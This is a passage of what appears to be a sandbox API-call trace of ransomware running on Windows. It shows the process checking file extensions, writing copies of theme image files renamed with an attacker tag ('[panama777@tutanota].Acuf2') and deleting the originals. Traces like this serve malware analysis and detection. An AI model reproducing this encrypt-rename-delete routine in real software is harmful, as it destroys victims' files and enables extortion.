	[0051.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74
	[0051.183] lstrlenW (lpString=".jpg") returned 4
	[0051.183] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.186] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.186] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.186] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c
	[0051.187] GetLastError () returned 0x0
	[0051.187] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0xaf32, lpOverlapped=0x0) returned 1
	[0051.189] WriteFile (in: hFile=0x20c, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xaf40, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xaf40, lpOverlapped=0x0) returned 1
	[0051.190] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0051.190] WriteFile (in: hFile=0x20c, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0051.191] SetEndOfFile (hFile=0x20c) returned 1
	[0051.191] CloseHandle (hObject=0x20c) returned 1
	[0051.191] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.191] SetEndOfFile (hFile=0x178) returned 1
	[0051.192] CloseHandle (hObject=0x178) returned 1
	[0051.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0051.192] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 1
	[0051.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75
	[0051.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75
	[0051.193] lstrlenW (lpString=".doc") returned 4
	[0051.193] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0051.193] lstrlenW (lpString=".docx") returned 5
	[0051.193] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0051.193] lstrlenW (lpString=".pdf") returned 4
	[0051.193] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0051.193] lstrlenW (lpString=".xls") returned 4
	[0051.193] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0051.193] lstrlenW (lpString=".xlsx") returned 5
	[0051.193] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0051.193] lstrlenW (lpString=".ppt") returned 4
	[0051.193] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0051.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75
	[0051.193] lstrlenW (lpString=".zip") returned 4
	[0051.193] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0051.193] lstrlenW (lpString=".rar") returned 4
	[0051.193] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0051.193] lstrlenW (lpString=".bz2") returned 4
	[0051.193] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0051.193] lstrlenW (lpString=".7z") returned 3
	[0051.193] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0051.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75
	[0051.193] lstrlenW (lpString=".dbf") returned 4
	[0051.193] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0051.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75
	[0051.194] lstrlenW (lpString=".1cd") returned 4
	[0051.194] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0051.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75
	[0051.194] lstrlenW (lpString=".jpg") returned 4
	[0051.194] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0051.194] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.194] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.194] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0051.734] GetLastError () returned 0x0
	[0051.734] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x563, lpOverlapped=0x0) returned 1
	[0051.741] WriteFile (in: hFile=0x1a4, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x570, lpOverlapped=0x0) returned 1
	[0051.741] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0051.742] WriteFile (in: hFile=0x1a4, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0051.742] SetEndOfFile (hFile=0x1a4) returned 1
	[0051.742] CloseHandle (hObject=0x1a4) returned 1
	[0051.742] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.742] SetEndOfFile (hFile=0x178) returned 1
	[0051.743] CloseHandle (hObject=0x178) returned 1
	[0051.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0051.743] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 1
	[0051.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73
	[0051.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73
	[0051.744] lstrlenW (lpString=".doc") returned 4
	[0051.744] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.744] lstrlenW (lpString=".docx") returned 5
	[0051.744] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0051.744] lstrlenW (lpString=".pdf") returned 4
	[0051.744] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.744] lstrlenW (lpString=".xls") returned 4
	[0051.744] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.744] lstrlenW (lpString=".xlsx") returned 5
	[0051.744] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0051.744] lstrlenW (lpString=".ppt") returned 4
	[0051.744] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73
	[0051.744] lstrlenW (lpString=".zip") returned 4
	[0051.744] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.744] lstrlenW (lpString=".rar") returned 4
	[0051.744] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.744] lstrlenW (lpString=".bz2") returned 4
	[0051.744] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.744] lstrlenW (lpString=".7z") returned 3
	[0051.744] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73
	[0051.744] lstrlenW (lpString=".dbf") returned 4
	[0051.744] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73
	[0051.744] lstrlenW (lpString=".1cd") returned 4
	[0051.745] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73
	[0051.745] lstrlenW (lpString=".jpg") returned 4
	[0051.745] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.745] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.745] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.745] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0051.745] GetLastError () returned 0x0
	[0051.746] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x4162, lpOverlapped=0x0) returned 1
	[0051.754] WriteFile (in: hFile=0x1a4, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x4170, lpOverlapped=0x0) returned 1
	[0051.755] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0051.755] WriteFile (in: hFile=0x1a4, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0051.755] SetEndOfFile (hFile=0x1a4) returned 1
	[0051.755] CloseHandle (hObject=0x1a4) returned 1
	[0051.755] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.755] SetEndOfFile (hFile=0x178) returned 1
	[0051.756] CloseHandle (hObject=0x178) returned 1
	[0051.756] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0051.756] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 1
	[0051.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76
	[0051.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76
	[0051.757] lstrlenW (lpString=".doc") returned 4
	[0051.757] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0051.757] lstrlenW (lpString=".docx") returned 5
	[0051.757] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0051.757] lstrlenW (lpString=".pdf") returned 4
	[0051.757] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0051.757] lstrlenW (lpString=".xls") returned 4
	[0051.757] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0051.757] lstrlenW (lpString=".xlsx") returned 5
	[0051.757] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0051.757] lstrlenW (lpString=".ppt") returned 4
	[0051.757] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0051.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76
	[0051.757] lstrlenW (lpString=".zip") returned 4
	[0051.757] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0051.757] lstrlenW (lpString=".rar") returned 4
	[0051.757] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0051.757] lstrlenW (lpString=".bz2") returned 4
	[0051.757] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0051.757] lstrlenW (lpString=".7z") returned 3
	[0051.757] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0051.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76
	[0051.757] lstrlenW (lpString=".dbf") returned 4
	[0051.757] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0051.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76
	[0051.758] lstrlenW (lpString=".1cd") returned 4
	[0051.758] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0051.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76
	[0051.758] lstrlenW (lpString=".jpg") returned 4
	[0051.758] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0051.877] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.877] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.877] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0
	[0051.878] GetLastError () returned 0x0
	[0051.878] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x90f8, lpOverlapped=0x0) returned 1
	[0051.881] WriteFile (in: hFile=0x1e0, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x9100, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x9100, lpOverlapped=0x0) returned 1
	[0051.882] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0051.882] WriteFile (in: hFile=0x1e0, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0051.882] SetEndOfFile (hFile=0x1e0) returned 1
	[0051.883] CloseHandle (hObject=0x1e0) returned 1
	[0051.883] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.883] SetEndOfFile (hFile=0x1e8) returned 1
	[0051.884] CloseHandle (hObject=0x1e8) returned 1
	[0051.884] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0051.885] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png")) returned 1
	[0051.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73
	[0051.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73
	[0051.885] lstrlenW (lpString=".doc") returned 4
	[0051.885] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0051.885] lstrlenW (lpString=".docx") returned 5
	[0051.885] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0051.885] lstrlenW (lpString=".pdf") returned 4
	[0051.885] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0051.885] lstrlenW (lpString=".xls") returned 4
	[0051.885] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0051.885] lstrlenW (lpString=".xlsx") returned 5
	[0051.885] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0051.886] lstrlenW (lpString=".ppt") returned 4
	[0051.886] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0051.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73
	[0051.886] lstrlenW (lpString=".zip") returned 4
	[0051.886] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0051.886] lstrlenW (lpString=".rar") returned 4
	[0051.886] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0051.886] lstrlenW (lpString=".bz2") returned 4
	[0051.886] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0051.886] lstrlenW (lpString=".7z") returned 3
	[0051.886] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0051.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73
	[0051.886] lstrlenW (lpString=".dbf") returned 4
	[0051.886] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0051.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73
	[0051.886] lstrlenW (lpString=".1cd") returned 4
	[0051.886] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0051.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73
	[0051.886] lstrlenW (lpString=".jpg") returned 4
	[0051.886] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0052.413] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0052.414] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0052.414] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0052.415] GetLastError () returned 0x0
	[0052.415] ReadFile (in: hFile=0x1f8, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x3d79, lpOverlapped=0x0) returned 1
	[0052.427] WriteFile (in: hFile=0x158, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x3d80, lpOverlapped=0x0) returned 1
	[0052.429] ReadFile (in: hFile=0x1f8, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0052.429] WriteFile (in: hFile=0x158, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0052.429] SetEndOfFile (hFile=0x158) returned 1
	[0052.429] CloseHandle (hObject=0x158) returned 1
	[0052.429] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0052.429] SetEndOfFile (hFile=0x1f8) returned 1
	[0052.430] CloseHandle (hObject=0x1f8) returned 1
	[0052.430] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0052.430] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png")) returned 1
	[0052.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76
	[0052.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76
	[0052.431] lstrlenW (lpString=".doc") returned 4
	[0052.431] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0052.431] lstrlenW (lpString=".docx") returned 5
	[0052.431] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0052.431] lstrlenW (lpString=".pdf") returned 4
	[0052.431] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0052.431] lstrlenW (lpString=".xls") returned 4
	[0052.431] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0052.431] lstrlenW (lpString=".xlsx") returned 5
	[0052.431] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0052.431] lstrlenW (lpString=".ppt") returned 4
	[0052.431] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0052.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76
	[0052.431] lstrlenW (lpString=".zip") returned 4
	[0052.431] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0052.431] lstrlenW (lpString=".rar") returned 4
	[0052.431] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0052.431] lstrlenW (lpString=".bz2") returned 4
	[0052.431] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0052.431] lstrlenW (lpString=".7z") returned 3
	[0052.431] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0052.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76
	[0052.431] lstrlenW (lpString=".dbf") returned 4
	[0052.432] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0052.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76
	[0052.432] lstrlenW (lpString=".1cd") returned 4
	[0052.432] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0052.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76
	[0052.432] lstrlenW (lpString=".jpg") returned 4
	[0052.432] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0053.174] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.185] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.187] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
